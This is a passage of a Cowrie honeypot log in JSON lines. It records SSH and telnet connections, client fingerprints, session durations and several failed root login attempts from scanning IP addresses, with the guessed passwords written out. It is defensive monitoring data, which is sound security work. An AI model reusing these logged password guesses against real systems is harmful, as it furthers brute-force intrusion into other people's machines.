{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:22.064889Z","src_ip":"43.153.7.148","session":"217483975cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig2022","message":"login attempt [root/K0nig2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:22.377359Z","src_ip":"43.153.7.148","session":"217483975cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:23.449970Z","src_ip":"43.153.7.148","session":"217483975cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.17461895942688,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:23.964511Z","src_ip":"192.119.13.58","session":"860c350ac3bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9777333736419678,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:24.530158Z","src_ip":"192.119.13.58","session":"42648e2d5a4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.182682514190674,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:26.159470Z","src_ip":"192.119.13.58","session":"98cff6d80e55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56468,"dst_ip":"10.17.0.5","dst_port":23,"session":"654ecf88f030","protocol":"telnet","message":"New connection: 192.119.13.58:56468 (10.17.0.5:23) [session: 654ecf88f030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:27.984526Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59790,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cf4e5526b9f","protocol":"telnet","message":"New connection: 192.119.13.58:59790 (10.17.0.5:23) [session: 5cf4e5526b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:28.777812Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33492,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd69dffb7e90","protocol":"telnet","message":"New connection: 192.119.13.58:33492 (10.17.0.5:23) [session: dd69dffb7e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:42.731948Z"}
{"eventid":"cowrie.session.closed","duration":31.065840244293213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:44.922589Z","src_ip":"192.119.13.58","session":"23f07f28f867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66784310340881,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:51.016029Z","src_ip":"192.119.13.58","session":"8ee637c40283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41262,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecbc6b5a63f2","protocol":"telnet","message":"New connection: 192.119.13.58:41262 (10.17.0.5:23) [session: ecbc6b5a63f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:51.746044Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.47","src_port":17720,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb7d5e459323","protocol":"ssh","message":"New connection: 66.132.172.47:17720 (10.17.0.5:22) [session: eb7d5e459323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:55.893115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:55.900477Z","src_ip":"66.132.172.47","session":"eb7d5e459323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:55.924715Z","src_ip":"66.132.172.47","session":"eb7d5e459323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":53602,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a83a4544f60","protocol":"ssh","message":"New connection: 5.181.124.9:53602 (159.203.135.109:22) [session: 9a83a4544f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:59.164309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:59.664869Z","src_ip":"5.181.124.9","session":"9a83a4544f60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:36:59.766522Z","src_ip":"5.181.124.9","session":"9a83a4544f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":57438,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b569334d95e","protocol":"ssh","message":"New connection: 43.153.7.148:57438 (159.203.135.109:22) [session: 0b569334d95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:00.692404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:00.697688Z","src_ip":"43.153.7.148","session":"0b569334d95e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:00.772938Z","src_ip":"43.153.7.148","session":"0b569334d95e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51126,"dst_ip":"10.17.0.5","dst_port":23,"session":"97143fe73e57","protocol":"telnet","message":"New connection: 192.119.13.58:51126 (10.17.0.5:23) [session: 97143fe73e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:01.069034Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0n1g@2020","message":"login attempt [root/k0n1g@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:01.084762Z","src_ip":"43.153.7.148","session":"0b569334d95e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:02.157957Z","src_ip":"43.153.7.148","session":"0b569334d95e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.44896841049194,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:04.433360Z","src_ip":"192.119.13.58","session":"654ecf88f030","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345678","message":"login attempt [root/Abc12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:05.377253Z","src_ip":"5.181.124.9","session":"9a83a4544f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:06.572428Z","src_ip":"5.181.124.9","session":"9a83a4544f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.477707624435425,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:09.255408Z","src_ip":"192.119.13.58","session":"5cf4e5526b9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:11.008519Z","src_ip":"66.132.172.47","session":"eb7d5e459323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.96.209.224","src_port":49137,"dst_ip":"10.17.0.5","dst_port":23,"session":"66610fabd75e","protocol":"telnet","message":"New connection: 77.96.209.224:49137 (10.17.0.5:23) [session: 66610fabd75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:17.109258Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58746,"dst_ip":"10.17.0.5","dst_port":23,"session":"65204bee6a22","protocol":"telnet","message":"New connection: 192.119.13.58:58746 (10.17.0.5:23) [session: 65204bee6a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:17.436613Z"}
{"eventid":"cowrie.session.closed","duration":36.733057737350464,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:19.464888Z","src_ip":"192.119.13.58","session":"dd69dffb7e90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.50221586227417,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:29.248207Z","src_ip":"192.119.13.58","session":"ecbc6b5a63f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.429442644119263,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:29.538563Z","src_ip":"77.96.209.224","session":"66610fabd75e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56662,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3b4a4939163","protocol":"telnet","message":"New connection: 192.119.13.58:56662 (10.17.0.5:23) [session: d3b4a4939163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:30.694298Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38816,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a38ce927727","protocol":"telnet","message":"New connection: 192.119.13.58:38816 (10.17.0.5:23) [session: 3a38ce927727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:33.196304Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40206,"dst_ip":"10.17.0.5","dst_port":23,"session":"e05d239855ae","protocol":"telnet","message":"New connection: 192.119.13.58:40206 (10.17.0.5:23) [session: e05d239855ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:33.553029Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47770,"dst_ip":"10.17.0.5","dst_port":23,"session":"2055b86c643b","protocol":"telnet","message":"New connection: 192.119.13.58:47770 (10.17.0.5:23) [session: 2055b86c643b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:35.550387Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":53452,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed71a05401d","protocol":"ssh","message":"New connection: 43.153.7.148:53452 (159.203.135.109:22) [session: 4ed71a05401d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:37.733740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:37.739185Z","src_ip":"43.153.7.148","session":"4ed71a05401d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:37.808331Z","src_ip":"43.153.7.148","session":"4ed71a05401d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root11root","message":"login attempt [root/root11root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:38.113797Z","src_ip":"43.153.7.148","session":"4ed71a05401d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:39.186385Z","src_ip":"43.153.7.148","session":"4ed71a05401d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.239928245544434,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:40.308856Z","src_ip":"192.119.13.58","session":"97143fe73e57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54428,"dst_ip":"10.17.0.5","dst_port":23,"session":"2af1cfbde360","protocol":"telnet","message":"New connection: 192.119.13.58:54428 (10.17.0.5:23) [session: 2af1cfbde360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:43.857866Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57222,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b69649e7b0c","protocol":"telnet","message":"New connection: 192.119.13.58:57222 (10.17.0.5:23) [session: 1b69649e7b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:44.573044Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44650,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbc79d66ee92","protocol":"telnet","message":"New connection: 192.119.13.58:44650 (10.17.0.5:23) [session: dbc79d66ee92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:48.583332Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37380,"dst_ip":"10.17.0.5","dst_port":23,"session":"7879e83054a3","protocol":"telnet","message":"New connection: 192.119.13.58:37380 (10.17.0.5:23) [session: 7879e83054a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:53.957212Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46014,"dst_ip":"10.17.0.5","dst_port":23,"session":"050f1fc67a5d","protocol":"telnet","message":"New connection: 192.119.13.58:46014 (10.17.0.5:23) [session: 050f1fc67a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:56.185990Z"}
{"eventid":"cowrie.session.closed","duration":40.25741720199585,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:57.693921Z","src_ip":"192.119.13.58","session":"65204bee6a22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57592,"dst_ip":"10.17.0.5","dst_port":23,"session":"20c6be8882a2","protocol":"telnet","message":"New connection: 192.119.13.58:57592 (10.17.0.5:23) [session: 20c6be8882a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:58.928260Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":44164,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6a96ecc106c","protocol":"ssh","message":"New connection: 109.237.96.109:44164 (159.203.135.109:22) [session: c6a96ecc106c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:59.469537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:59.474595Z","src_ip":"109.237.96.109","session":"c6a96ecc106c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.